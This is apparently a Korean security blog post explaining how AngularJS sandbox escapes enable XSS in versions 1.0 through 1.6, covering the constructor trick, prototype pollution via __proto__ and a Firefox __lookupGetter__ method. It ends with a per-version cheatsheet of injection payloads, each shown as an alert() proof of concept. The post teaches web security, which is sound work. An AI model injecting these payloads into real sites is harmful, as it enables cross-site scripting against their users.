AngularJS Sandbox Escape XSS

AngularJS는 웹 상에서 많이 사용되는 개발 프레임워크입니다. 이런 프레임워크에는 당연히 보안 로직, 정책이 들어가게되죠. 그 중에 대표적인 것은 바로 SandBox 입니다. Sandbox 로 인해 우리는 성공한 공격이 영향력이 없어지는 진귀한 광경을 목격하게되죠.

많은 해커들은 버전별로 AngularJS sandbox를 우회하려 하였고 덕분에 각 버전별로 여러 사람이 만든 우회 루틴이 존재합니다. Angular에서 sandbox 는 1.1.5 버전 이후로부터 적용되었고 sandbox, 즉 Angular Expression으로 인해 로컬영역으로 묶인 sandbox 밖에서 함수 호출이 실패하게 됩니다. 자주 사용하는 DOM 기반의 XSS에 영향을 줄 수 있는 부분이죠.

오늘은 AngularJS에 적용된 sandbox를 우회하는 방법과 Constructor에 대해 이야기할까 합니다.

Constructor

Javascript에선 모든 데이터가 Object입니다. 우리가 사용하는 Object 타입의 데이터, String, Array 등 모든 데이터는 Object로 표현됩니다. 아니 정확하겐 가장 중심이 되는 뿌리가 Object입니다.

이러한 Object가 생성될 때 초기화 등을 위해 동작할 함수는 Constructor, 즉 생성자입니다. 타 언어에서의 생성자와 유사한 기능을 수행합니다. 그래서 새로운 Object를 선언하면 Constructor에 의해 생성이 아래 코드로 보면 Stringalert(45) 가 함수 형태로 생성되어 실행되는 걸 알 수 있죠.

{{constructor.constructor('alert(45)')()}}

Escape Sandbox of AngularJS 1.6

이전 버전과는 다르게 오히려 최신버전에서는 아주 간단하게 우회가 가능합니다. Constructor는 생성자이기 떄문에 Sandbox 외부에서 함수 실행이 가능합니다. 그리고 각 Object의 constructor 들은 constructor의 constructor를 가지고 있습니다.

"a".constructor 
/*
  function String() {
      [native code]
  } 
*/
"a".constructor.constructor
/*
  function Function() {
    [native code]
}
*/

보통 constructor.constructorFunction() 을 가리키기 떄문에 아래와 같이 String으로 원하는 함수를 넘겨서 실행할 수 있습니다. (이건 Eval과 비슷한 특징을 가지죠)

constructor.constructor('alert(45)')()

그래서 위에 보여드렸던 코드로 쉽게 sandbox 우회가 가능합니다. 너무 간단해서.. 더 설명드릴게 없네요. 그럼 이전에는 어떤 방식으로 풀어나갔었는지 한번 볼까요?

Escape Sandbox of AngularJS 1.2

Angular에 적용된 초기버전의 sandbox는 ensureSafeMemberName() 함수를 통해 구현되었고 이 함수는 Javascript 속성에 위에서 말한 생성자(constructor)가 있는지 검사하는 로직을 가집니다.

function ensureSafeMemberName(name, fullExpression, allowConstructor) {
 if(name === "constructor" && !allowConstructor) {
   throw 
 }
 if(name.charAt(0) === '_' || name.charAt(name.length-1) === '_') {
   throw 
 }
 return name;
}

초기의 우회루틴은 아래와 같은 형태로 이루어졌습니다.

{{
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(45)')()
}}

임의의 변수에 constructor 라는 문자열 값을 저장한 후 Object를 이용하여 constructor를 불러오고 인자값으로 실제 실행할 함수 이름과 값을 넘겨 실행합니다.

typeof(a.sub.call.call)
// function

getOwnPropertyDescriptor
// 객체 내 자신의 속성에 대한 descriptor를 반환

getPrototypeOf
// 객체의 [[Prototype]] 값을 반환

간단하게 요약하자면 name의 문자열로 필터링을 하니 필터링 다른 변수에 속성값을 저장하고 로드해서 사용하는 식으로 우회된 케이스이지요. 물론 현재 이 방법은 패치가 되어있습니다. 1.2 버전 이하에서만 영향력이 있죠.

다만 우리는 우회했던 방법에 대해선 잘 파악해둬야합니다.

Escape Sandbox of AngularJS 1.4

여러 버전으로 업데이트 되면서 로직에 변화가 생기고 새로운 함수들이 나타났습니다. 1.4 버전에선 __proto____defineSetter__ 를 통해 Sandbox 우회가 가능합니다. __proto__는 Safari, IE11에서 전역 선언이 가능해집니다. sandbox는 지역선언이 된 object를 해당 지역 이외로 나가지 못하도록(정확히는 나가면 실행이 되지 않게 함) 하지만 기능으로 전역 사용이 가능한 것이 나오고 말았죠.

해커들은 이를 놓치지 않았습니다. __proto__ 를 이용해서 전역변수와 같이 해당 area 이외 구간으로 넘어갈 수 있으니 쉽게 Bypass가 가능합니다. 바로 Prototype Pollution이죠.

기존

{
  false.__proto__.hwul=Function;
  if(!false)false.hwul('alert(tata)')();
}

__proto__ 내 임의의 영역(코드에선 hwul)에 Function 을 집어넣고 x를 호출하여 익명함수로 만듭니다.

false.hwul
/*
  function Function() { [native code] }
*/

false.hwul('alert(45)');
/*
  function anonymous() {
  alert(45)
  }
*/

함수 형태로 넘겨주면 실행이 되니깐 정상적으로 alert() 함수가 실행됩니다. 물론 전역으로요.

false.hwul('alert(45)')();
// undefined

Firefox 51에선 __lookupGetter__ 를 통해서 함수의 호출자를 얻을 수 있습니다. 이땐 Firefox만 가능했던 기능이죠. 비슷한 맥락으로 __lookupGetter__ 를 이용해 함수 호출자를 얻은 후 location 을 javascript 구문으로 바꾸어 상위 영역에서 함수를 호출합니다.

o={};
l=o[['__lookupGetter__']];
(l=l)('event')().target.defaultView.location='javascript:alert(45)';

이런식으로 Javascript단에서의 SandBox 탈출이 가능하죠. (Angular 기준)

AngularJS Sandbox Escape cheatsheet

1.0.1 - 1.1.5 == works

constructor.constructor('alert(1)')()

1.2.0 - 1.2.18 == works

a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()

1.2.19 - 1.2.23 == works

toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor);

1.2.24 - 1.2.29 == not working

'a'.constructor.prototype.charAt=''.valueOf;
$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");

1.3.0 == not working (calls $$watchers)

!ready && (ready = true) && (
   !call
   ? $$watchers[0].get(toString.constructor.prototype)
   : (a = apply) &&
   (apply = constructor) &&
   (valueOf = call) &&
   (''+''.toString(
   'F = Function.prototype;' +
   'F.apply = F.a;' +
   'delete F.a;' +
   'delete F.valueOf;' +
   'alert(1);'
  ))
);

1.3.1 - 1.5.8 == not working (calls $eval)

'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//'); 

1.6.0 > == works (sandbox gone)

constructor.constructor('alert(1)')()

Reference

  • http://blog.portswigger.net/2017/05/dom-based-angularjs-sandbox-escapes.html
  • https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
  • https://muckycode.blogspot.kr/2015/04/javascript-constructor.html
  • https://www.hahwul.com/cullinan/prototype-pollution/